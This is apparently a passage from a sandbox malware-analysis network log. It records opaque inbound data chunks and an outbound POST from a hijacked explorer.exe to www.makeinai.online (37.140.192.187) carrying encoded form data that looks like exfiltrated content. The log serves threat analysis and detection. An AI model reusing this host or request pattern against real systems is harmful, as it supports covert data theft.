ff fa c7 7f c7 5f df be a2 15 be 5d a7 9f 17 71 eb 3a 9e ce a3 71 3b 5a 2c da df fd f1 63 fc 79 b6 02 7a eb d6 75 72 1b 9f 2d 92 cd 74 7d 6f 7e 73 7f 11 4d 3e 5e ae 92 cd 72 da bb 49 d6 c0 66 b2 1c 5a a6 79 7b d7 72 bc 6f 1e d2 a4 b4 40 cf 32 3d 56 e2 21 8f 79 9e 7e d6 c4 6e 40 bb d3 e4 da 98 40 ab e3 55 8b 42 2d c7 b9 bd da 4d 77 4b dd 87 fe 05 a8 fc 32 be 9f ce d7 37 8b e8 f3 70 b6 88 3f 8d f0 9f de 74 be 8a 27 04 d3 24 59 6c ae 97 23 a2 1e e4 e8 9b d1 f5 7c 49 b5 35 74 6c f3 e6 d3 e8 2a 9e 5f 5e a5 f4 dd 4d 34 9d 82 95 0c 7d 78 d1 32 5b e6 e8 3a 5a 5d ce 97 43 73 34 03 a5 0d 2d 1b 1e 7f bf 02 0d 1b 6f e3 c5 6d 9c ce 27 51 eb af f1 26 96 a0 f1 c3 2a 8e 7f 8d 96 6b 63 0d ff f4 c0 fe e6 b3 91 6c e2 f0 5f 66 b3 d9 08 98 4a 56 c3 7f 71 7c 17 fe 1b f5 ee e2 8b 8f f3 b4 97 46 37 bd 2b e0 65 81 fc f4 68 99 74 05 58 6e a2 15 b4 fe 01 bb c1 70 99 a4 9d be 62 fa dd 16 97 02 e8 64 35 5b 24 77 bd 4f c3 ab f9 74 1a 2f 1f fe 48 0c a3 d5 91 2d b6 4c db bd f9 d4 bd 57 31 6c 41 c0 25 7c 8e 9d f1 1c d8 f8 08 c2 b9 47 74 52 68 a0 88 4c a9 78 b5 4a 56 14 21 97 a6 b9 83 f5 f3 eb 78 b9 e9 61 61 54 19 bc 9f c6 53 a3 7e 95 5e 34 c1 32 9c 6c 2f 4d 6e 80 74 3d 21 94 e1 cd 21 7c a8 c9 82 85 56 76 00 36 ca 9b b7 cb 2a 32 a5 15 db 0f 43 1f b8 da 21 64 78 33 9f 7d ee 5d ac 92 3b 30 e4 f3 db f9 7a 7e b1 c8 e2 f4 dc da 8d db c1 53 a9 3c 74 39 91 ca 49 2e e6 8b b8 c7 6d fa 9c 5a b4 c1 5f af 37 17 28 e2 f3 e4 26 5e 82 86 79 31 6e f8 3b e4 72 3e 4b 12 f0 46 bd 69 72 b7 dc 69 a8 e5 8c ec a8 55 c5 1f 6b 78 5d 73 da 85 ae b6 79 96 36 aa 04 6f 7f 2e d5 ce dd f4 c5 22 99 7c 7c 28 93 e5 3d 3a ef a1 05 9e 37 da a4 c9 28 af 15 05 59 b6 5a d6 23 7d 53 b7 35 19 5c 25 6d 28 29 76 2e 9a ce 4d b1 50 2f 5f 0d 1a 51 4e b2 c7 02 02 61 cd 74 90 83 ce 5d 85 82 82 42 a0 cb 64 a9 90 63 d8 7a 77 ab e8 e6 06 4a f1 21 8c c8 b4 b2 d8 39 09 25 ce 31 20 51 38 59 11 99 a2 e8 f8 d0 d8 5b c4 33 fa 44 0f d5 f9 32 be cb a1 73 07 79 74 f8 64 67 9f cb b7 ab 86 1f ab d3 58 33 cb 5a ed 01 64 2b 9f 5a 35 6a 71 57 bb e9 64 90 66 d1 70 6f 9d 46 10 b4 30 16 07 e6 1e 03 55 6d fc d2 6c f8 f0 a6 76 5f 0c bc 8a 51 d8 62 be 4e 7b 44 2a 3d 44 4f 0d 7e 57 c3 05 7a 11 86 88 68 ae d5 b3 3c 8a ba 76 73 f5 b0 16 1b 29 bb 63 2e fc 94 78 94 40 98 05 Data Ascii: c000Ks#I0v~fST4S5ZjhI ADR@e2?tm.H9pp'd~[Wo"Z^M5YD=_G&4JMj1n_z:^0_%tbu.Uo4jM:NCofOu<nddK(u7Wi\|;=<Gz-EJ.t X&4y_?]^oF?_]q:q;Z,cyzur-t}o~sM>^rIfZy{ro@2=V!y~n@@UB-MwK27p?t'$Yl#\|I5tl_^M4}x2[:Z]Cs4-om'Q&kcl_fJVq\|F7+ehtXnpbd5[$wOt/H-LW1lA%\|GtRhLxJV!xaaTS~^42l/Mnt=!!\|Vv62C!dx3}];0z~S<t9I.mZ_7(&^y1n;r>KFiriUkx]sy6o."\|\|(=:7(YZ#}S5\%m()v.MP/_QNat]BdczwJ!9%1 Q8Y[3D2sytdgX3Zd+Z5jqWdfpoF0Umlv_QbN{D*=DO~Wzh<vs)c.x@
Aug 29, 2023 22:46:49.079137087 CEST	1319	IN	Data Raw: 88 33 7b e6 ce 42 ed 96 96 d0 a0 66 b7 6f 23 2b 11 96 b4 8f cc 48 c0 81 27 51 3a 44 db a4 11 73 60 9a 2d 6c e6 2b c7 dc 2f 74 5e cc 97 31 37 0e 6f a0 7a 9d 2c e5 1e 14 fc 78 9f c6 9f d2 de 34 9e 24 ab 88 44 ff 59 cf 58 52 63 78 85 7e bb 50 0f 74 Data Ascii: 3{Bfo#+H'Q:Ds`-l+/t^17oz,x4$DYXRcx~PttUem1weEy_*^D(lG+vs\|R<&5""#ATT__bilwxS%Cj)52.F3u%hsvXf
Aug 29, 2023 22:46:49.079200029 CEST	1321	IN	Data Raw: 1e 42 de 44 6c a2 bc 08 26 e6 a4 b4 c4 f9 34 5a 7d 94 bb 2d 43 37 32 2f fc 5c 41 72 62 8c a0 14 06 83 60 50 60 e6 0a 1a c9 b9 61 50 ae cc c5 65 ef 73 bc 58 24 77 72 bf 5e cb 6c 41 d8 dd c2 ed b4 b9 13 78 bc 69 9e db 34 49 16 e9 fc 46 36 d8 8f 4d Data Ascii: BDl&4Z}-C72/\Arb`P`aPesX$wr^lAxi4IF6MS9Y%\Od5!{]`0]Cxz+57:*E;T78[07JxVw/)4mHV($8gVl=[Iqz12]%r0M
Aug 29, 2023 22:46:49.079257965 CEST	1322	IN	Data Raw: f3 3c 91 79 63 fd f0 80 58 6d cf 33 c4 e3 8d 7d 40 3e fc 2d b4 e7 79 a2 f0 da 03 0d 8b 99 35 c2 20 ad d8 3b 23 86 67 0b bb 8b 5c 3c 43 c4 bd 3b 04 d3 0b b6 a1 31 25 71 f6 be 07 2b 14 02 e0 c5 e5 73 86 df 8b b2 25 c0 4d c2 ef 42 73 9e 25 fc de d9 Data Ascii: <ycXm3}@>-y5 ;#g\<C;1%q+s%MBs%,[m;P/.;%~/I]<}5bk#5Ls>n9n~7U5<s]{<"~QM.sp%g0/mDZ
Aug 29, 2023 22:46:49.079438925 CEST	1323	IN	Data Raw: f8 7d af e2 f2 58 e8 4b cb 9c cf 56 c9 f5 fd 22 4e a1 1f 13 34 f4 e2 0b 32 13 d9 77 2a b4 c5 85 2a 44 7b 78 7b 87 7a 6d c7 9e 17 97 48 ac d1 75 b2 59 92 0b 2a 04 99 58 3d 85 39 6c 90 79 29 35 29 f5 82 17 c0 0f 3a aa 68 ba 1a da d0 80 ed a1 92 4b Data Ascii: }XKV"N42w*D{x{zmHuYX=9ly)5):hK{.5)]&UU0`\|`i@K(P0psL9}>h_&h+W1V3qCHs<ds&ZjJk>g>+u'0_l@<~a>^G
Aug 29, 2023 22:46:49.079515934 CEST	1325	IN	Data Raw: b9 fa d4 1e 5f c1 db a8 1d 5a bf e5 b4 0e 1b f7 e9 71 52 75 2d 66 83 f8 ae 11 e1 26 e1 ce 41 09 eb 47 41 75 c8 d6 14 70 a1 f7 d4 16 f0 93 0b f6 b9 04 fa 24 51 a6 1e 67 f9 8b 58 1b 04 9d 7b 11 dc 3f 8e 38 08 39 fd c0 42 8f 5c ee 9a d3 06 11 ea 3e Data Ascii: _ZqRu-f&AGAup$QgX{?89B\>[Z4,n8Vbcna[ebDem+.[!6M6 i45z{N>*8FI= AO)Bd7y84 HG`m},I
Aug 29, 2023 22:46:49.079606056 CEST	1326	IN	Data Raw: 61 81 30 b6 df 57 90 97 b0 34 fa 9d 51 41 39 ab 94 6e bd 4b a8 34 11 96 8a 89 9b be b8 c4 a1 d8 29 b2 bd a7 a4 a7 ab 3e 48 5e 07 b5 93 14 bb 7e 8c 1c 9d 4e 69 f4 b2 67 94 62 db 52 e8 34 cb 4b bc f1 2f b9 53 ce 8e cf bc a2 67 b4 67 ee 4b a0 57 21 Data Ascii: a0W4QA9nK4)>H^~NigbR4K/SggKW!hefBg,Me,>nZ8qpR/cm)gul?OMRa,XGn7;g-Xi]zhu>A-8s<7Y$)oQ(dj}{
Aug 29, 2023 22:46:49.079684019 CEST	1327	IN	Data Raw: d1 0f 87 ad f9 72 36 5f 42 a8 b9 25 90 2e 1f b5 4b 11 fb 25 88 f5 03 ec 86 84 6a 34 41 86 25 c5 2f aa c7 18 e4 18 83 1c 63 90 63 0c 72 8c 41 8e 31 c8 31 06 d9 3b 06 31 f2 2b 93 d8 57 5c b1 be ca d0 1c 68 fd 81 29 07 5a d7 71 5e b4 6e e7 f1 dd 9f Data Ascii: r6_B%.K%j4A%/ccrA11;1+W\h)Zq^nO>}<g%1J7ol]?_8^n6LL%8m+pzf]Th+odVN~<LJMrdp:EUh}t*tDf
Aug 29, 2023 22:46:49.079750061 CEST	1329	IN	Data Raw: 66 60 1b 86 4b a0 ef 5a 4a c7 03 d8 74 94 8e e7 c2 90 e3 d8 52 7b 14 2e 6a 8f 97 e3 5a e1 78 14 18 e8 bc a3 64 a5 f2 38 57 02 0d e3 3a db 3a 45 7b 81 09 ed f7 a5 f6 28 2c b5 e3 73 a3 e5 b0 0b f2 75 15 18 06 34 57 51 9f 47 12 56 8a 7c 39 cc e5 cf Data Ascii: f`KZJtR{.jZxd8W::E{(,su4WQGV\|9`^_}^_k`GK}c:K!Fz+0z_Er\1wJa\g[BWqp0~/@*$V\|032+LYP9s++yR\'
Aug 29, 2023 22:46:49.079808950 CEST	1330	IN	Data Raw: 55 17 ac 65 58 57 f4 16 40 68 15 06 05 bd d1 c7 42 51 00 d2 f5 7f 02 b4 30 3c 04 e2 30 31 16 7a 0b 00 85 2f 3d 64 80 9e c1 92 7a a3 70 51 6f a2 1c d3 87 40 c3 61 42 e5 1d a3 2a f5 26 98 e2 78 38 cf 99 a6 29 7a 83 b1 0e 3c ae d4 1b 85 85 6a 42 a6 Data Ascii: UeXW@hBQ0<01z/=dzpQo@aB*&x8)z<jBwZ} `IM%` VDeYuYsEm!vAiP7U)FF\|ER2QBEQRe)r4\=E1=Opf1Y=F&DeW99qZ]2a
Aug 29, 2023 22:46:49.130909920 CEST	1331	IN	Data Raw: 97 ea c2 05 d1 20 2e 15 f6 70 f5 36 0c 73 10 79 49 f5 85 38 b1 f1 a4 fa 42 53 aa 2e 34 8b 6a 0b 4d a9 22 56 57 85 7d 5c 0f 4f 69 49 95 31 5e 24 0e 26 ca 6c 9b 84 ca 70 ca 19 78 d2 5d 32 58 a8 04 57 01 db 8e ad c0 26 d9 3b 2c 60 13 a2 4f 4b ba 4b Data Ascii: .p6syI8BS.4jM"VW}\OiI1^$&lpx]2XW&;,`OKK\to) *pR}hR_d\Yx#sC&Sdr\'wKa\|'unf zxu3y}^{E}n[R]XUk

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.11.20	50022	37.140.192.187	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:46:51.562366009 CEST	1397	OUT	POST /aw8o/ HTTP/1.1 Host: www.makeinai.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.makeinai.online Referer: http://www.makeinai.online/aw8o/ Connection: close Content-Length: 52915 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 55 30 36 46 76 57 39 45 56 78 2b 6f 4b 50 4e 6e 33 77 79 68 42 6b 54 62 42 6c 64 66 62 59 59 32 4f 54 39 52 58 47 49 6f 63 2b 38 4a 62 44 72 65 4d 49 61 51 38 4f 4a 6e 31 6e 56 38 33 6e 48 54 2b 6e 32 5a 68 55 37 61 2b 6e 6f 7a 78 39 6f 44 38 61 67 30 48 48 70 7a 49 79 34 44 75 41 62 79 39 5a 52 4b 6e 75 32 57 6c 2f 71 32 30 44 4c 4b 77 37 54 36 44 79 2b 74 30 6d 64 45 61 79 57 35 34 39 57 32 66 71 48 76 35 63 53 62 6e 76 63 34 69 44 47 2f 6f 46 41 76 48 76 42 47 47 6c 4b 41 7a 30 30 47 57 55 44 5a 4b 4b 2b 72 67 4d 44 4d 4d 65 6a 69 66 57 42 30 45 2f 4c 58 77 4a 5a 69 74 54 56 64 58 6d 43 35 4d 2f 47 4a 42 4e 66 6f 31 65 45 32 4e 45 4e 4b 65 52 33 4e 38 2f 56 4b 41 37 4e 78 2f 4b 72 63 4e 45 61 63 59 61 62 35 37 74 78 31 6e 6a 6e 61 4a 68 48 4c 63 33 4c 34 47 2f 59 54 44 72 6f 59 6c 4f 36 4b 57 6b 42 41 75 39 64 51 78 34 30 6e 65 6f 54 38 50 49 42 37 53 62 30 31 68 53 6c 4d 31 49 6b 4a 4e 34 6f 47 79 43 35 43 54 4e 50 32 46 6e 42 32 65 46 47 72 69 5a 4b 6b 62 51 74 67 78 46 65 2b 48 38 33 69 45 4a 6e 61 39 51 46 55 59 73 77 67 43 34 45 6b 73 74 48 58 4e 38 6e 43 67 5a 30 41 4c 73 65 6e 57 69 7a 79 42 38 6a 42 55 71 68 72 58 63 4e 31 6b 68 50 35 58 44 37 4d 4e 41 31 69 2b 77 34 4a 59 71 75 2f 31 70 4a 49 55 76 74 36 4d 33 30 2b 30 45 6c 6e 66 2b 75 6e 6a 6e 71 44 4a 39 50 4f 32 47 5a 54 35 2f 47 4a 6a 70 67 49 4a 31 65 58 4a 78 62 58 48 4a 34 46 75 71 6c 41 53 54 4f 6b 67 55 35 45 71 34 6f 4c 41 73 31 75 56 61 6f 55 55 74 4b 50 34 38 49 7a 47 30 4f 68 63 70 68 4c 4b 62 72 4d 62 79 70 6b 36 32 57 42 77 39 4b 65 56 43 56 64 68 36 47 4e 33 31 49 67 67 43 34 38 74 78 30 51 6d 55 76 6b 37 37 73 66 58 4f 38 2f 36 49 63 44 78 33 6d 62 42 35 73 67 7a 77 79 55 63 54 2b 62 36 50 35 2b 52 6d 6c 50 73 48 62 4e 56 52 49 77 57 64 64 43 36 35 35 32 71 61 59 46 70 6f 4d 43 4c 47 30 75 37 5a 49 62 33 43 4f 30 65 4b 44 6b 62 58 64 49 34 65 68 54 79 53 44 6d 56 71 32 64 4f 71 31 39 78 52 6e 44 31 38 30 61 35 4d 7a 53 63 7a 37 31 6b 48 37 6e 34 47 61 35 34 37 71 42 4b 4a 52 35 75 77 6e 38 4e 33 42 4f 37 4d 6c 74 54 48 30 64 49 4e 6e 75 61 76 42 38 71 58 2f 4f 6c 4e 70 6c 4a 39 73 57 34 4f 54 78 34 6c 38 59 58 6f 2b 39 67 63 6c 45 67 50 6e 67 77 43 67 56 6f 77 49 39 38 76 41 7a 6d 62 43 2b 6e 79 48 7a 73 57 52 4b 4b 54 5a 49 63 31 37 4c 76 64 54 47 58 72 45 67 2f 4e 71 34 55 36 79 54 35 49 47 78 59 48 7a 72 64 79 48 41 6f 48 75 64 37 50 64 33 76 36 59 2b 58 69 34 6f 32 66 44 30 2f 48 4c 67 37 44 32 76 72 39 4b 69 44 79 4d 6f 79 43 2f 30 4a 6c 2b 73 56 6f 47 37 61 63 63 73 66 39 2f 79 70 71 63 78 39 70 6a 72 39 39 76 6d 45 67 72 6f 62 6c 34 63 43 2b 2b 37 67 79 42 48 2f 37 6a 52 35 68 46 34 51 46 77 75 63 6a 48 43 5a 6f 4c 61 7a 33 35 67 72 47 46 63 6e 50 38 78 4a 6f 52 62 53 45 78 47 36 4a 37 78 73 4d 57 64 78 72 7a 39 2b 52 67 6e 61 51 73 48 44 61 43 5a 49 30 69 67 58 6e 44 4c 45 6a 6b 54 67 33 4c 4a 57 57 4a 36 2f 69 7a 35 33 69 73 57 35 76 39 5a 55 5a 6f 48 77 75 6c 34 6e 52 76 42 32 39 63 53 36 4d 7a 57 44 31 6f 43 64 4a 2b 33 2f 33 7a 74 2f 4c 63 32 38 63 63 64 62 58 45 36 38 71 4e 45 41 46 4a 2b 72 31 79 49 77 76 62 70 31 61 39 44 38 50 51 2f 74 32 78 4d 6c 43 4f 75 6e 62 49 78 64 5a 4d 53 4c 6e 79 62 32 41 52 6c 52 63 74 4b 77 50 46 78 39 56 35 69 58 33 33 6e 6e 79 49 6a 5a 38 71 42 49 36 33 45 4b 63 46 33 69 48 48 79 6e 35 6a 6f 6b 4f 44 37 6c 50 62 50 79 48 69 53 61 47 58 50 73 48 61 57 4f 69 79 35 79 6f 4f 79 79 4d 55 38 57 2b 6d 33 37 36 4c 42 44 49 37 6c 54 49 53 48 31 32 45 5a 63 66 6c 75 44 35 34 37 61 30 59 55 64 36 37 44 48 79 33 63 30 36 4b 69 6e 4c 4b 44 4e 4e 71 4f 58 6c 30 75 45 55 74 39 55 7a 34 7a 7a 44 7a 46 52 44 41 74 70 46 45 52 67 6c 61 62 4d 43 39 4b 73 61 4d 2f 71 62 67 6c 5a 6d 73 46 44 74 49 43 57 58 2f 4b 32 54 64 42 41 4e 43 64 32 56 65 78 4d 37 4a 71 6a 34 66 36 54 63 2f 2f 72 6c 4a 33 44 54 54 33 51 38 6e 52 61 56 62 34 34 36 63 44 45 67 66 43 74 35 76 7a 49 74 4e 44 75 65 4f 4b 44 74 74 61 78 34 45 71 59 4d 4e 6d 78 74 70 44 71 4b 75 45 59 61 79 47 4e 46 68 59 74 54 43 4b 43 72 58 43 61 30 59 44 64 56 5a 77 4a 70 34 33 34 53 59 48 79 32 42 53 36 4f 6a 35 33 61 73 62 4e 75 4f 48 Data Ascii: 5Nag0d=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
Aug 29, 2023 22:46:51.615262985 CEST	1400	OUT	Data Raw: 6b 6a 78 6e 72 4e 4f 35 78 66 44 55 37 43 4e 6e 6e 56 7a 46 55 31 44 52 54 74 33 58 70 72 58 6b 56 51 30 34 77 44 65 4d 51 46 30 55 61 44 43 39 69 77 6d 74 6c 32 6a 59 36 50 7a 67 65 6e 79 4f 76 30 50 77 67 5a 68 6a 73 5a 6b 58 74 62 51 44 70 4b Data Ascii: kjxnrNO5xfDU7CNnnVzFU1DRTt3XprXkVQ04wDeMQF0UaDC9iwmtl2jY6PzgenyOv0PwgZhjsZkXtbQDpKNdXn5VZES54kzTfn7rkFefmvSkB0+UFiTCTjkBeooFZPEkKxG6HpvR8pq9VW4cuYhTS4FaGqW+YPprExeUZjsFKMki5sPTwE0jW59gXg16qG3pmRcDp3Kr0BPqlGM2+g8bhi8obKPiBwPYsA5i+PQkq/EqmhIzeud
Aug 29, 2023 22:46:51.615544081 CEST	1405	OUT	Data Raw: 61 78 63 34 34 46 55 68 76 6c 4a 39 5a 38 68 58 61 54 71 48 35 76 61 6f 4b 55 75 4a 43 4d 31 6a 70 31 4c 4d 69 35 76 61 33 51 6d 6c 5a 4c 74 66 6d 4b 71 71 56 64 30 53 54 59 78 73 4c 56 73 37 75 55 45 50 30 78 58 43 39 61 4f 43 49 44 65 74 79 6b Data Ascii: axc44FUhvlJ9Z8hXaTqH5vaoKUuJCM1jp1LMi5va3QmlZLtfmKqqVd0STYxsLVs7uUEP0xXC9aOCIDetykUNKaaeNx2YL0qTk7LK821K5eAKlhhroVTZ+YmTFW2OTxMqMCdBDbEtDr4X94ug2mW8qizyLX7WJ+9z2e/zy7+KBvoGXomSWpdPR32pagFBquWMwMdrpqnkcwyKC/GuBRogsgKlEvJ2+0ww9SHhCKCTPLdL8CvVxve
Aug 29, 2023 22:46:51.615659952 CEST	1413	OUT	Data Raw: 49 54 56 41 49 4e 54 32 33 6b 77 37 43 50 36 66 41 47 4a 77 72 39 39 62 48 6b 43 30 38 66 63 6e 43 77 75 41 62 43 4b 56 44 2f 33 32 77 70 6d 68 2b 36 4b 6d 58 33 6b 68 65 6d 66 6d 4f 47 31 54 78 61 55 45 74 47 78 48 36 62 64 33 54 61 66 6d 59 39 Data Ascii: ITVAINT23kw7CP6fAGJwr99bHkC08fcnCwuAbCKVD/32wpmh+6KmX3khemfmOG1TxaUEtGxH6bd3TafmY9zlnzqf6qRuxUCOjaX3r5Phf+5iyWIpcc58p/8432jHxqykmDcwURivUmsmGxW50YbDfyobesvmtuf+rty/1/HRAsqUK2ACi0pn9aSFqhxwTYLV1tFlbwVF4EFwn/aa16hvu901TJswH/LrwIN+NP5W2RUZRQrRnLv
Aug 29, 2023 22:46:51.615886927 CEST	1423	OUT	Data Raw: 56 4d 65 50 78 54 34 66 42 6d 61 47 79 36 57 4c 59 57 50 38 46 78 72 57 31 2f 73 34 70 55 52 31 31 6a 6e 2f 43 34 39 6b 34 52 59 69 6e 52 4a 58 35 6e 61 74 46 4b 7a 57 61 6d 61 7a 4c 48 36 69 5a 4c 74 4a 4d 6b 54 51 67 6e 72 61 42 52 69 53 2f 7a Data Ascii: VMePxT4fBmaGy6WLYWP8FxrW1/s4pUR11jn/C49k4RYinRJX5natFKzWamazLH6iZLtJMkTQgnraBRiS/z9ZxNAKhtSSVu3La+T2iMawms1CKo2/7tp4ix/+VOjn3dNOTxG4Kw4wbjTnljXcN34I/oYzBzRGBSplsl7qKfuAdl3OQQppT/qaQ2lGNtq5CMxVNWSI2orIavpgh52CHV7DdlS3bAYmj7uf1/H7H2NBjOYu9eT2Sm4
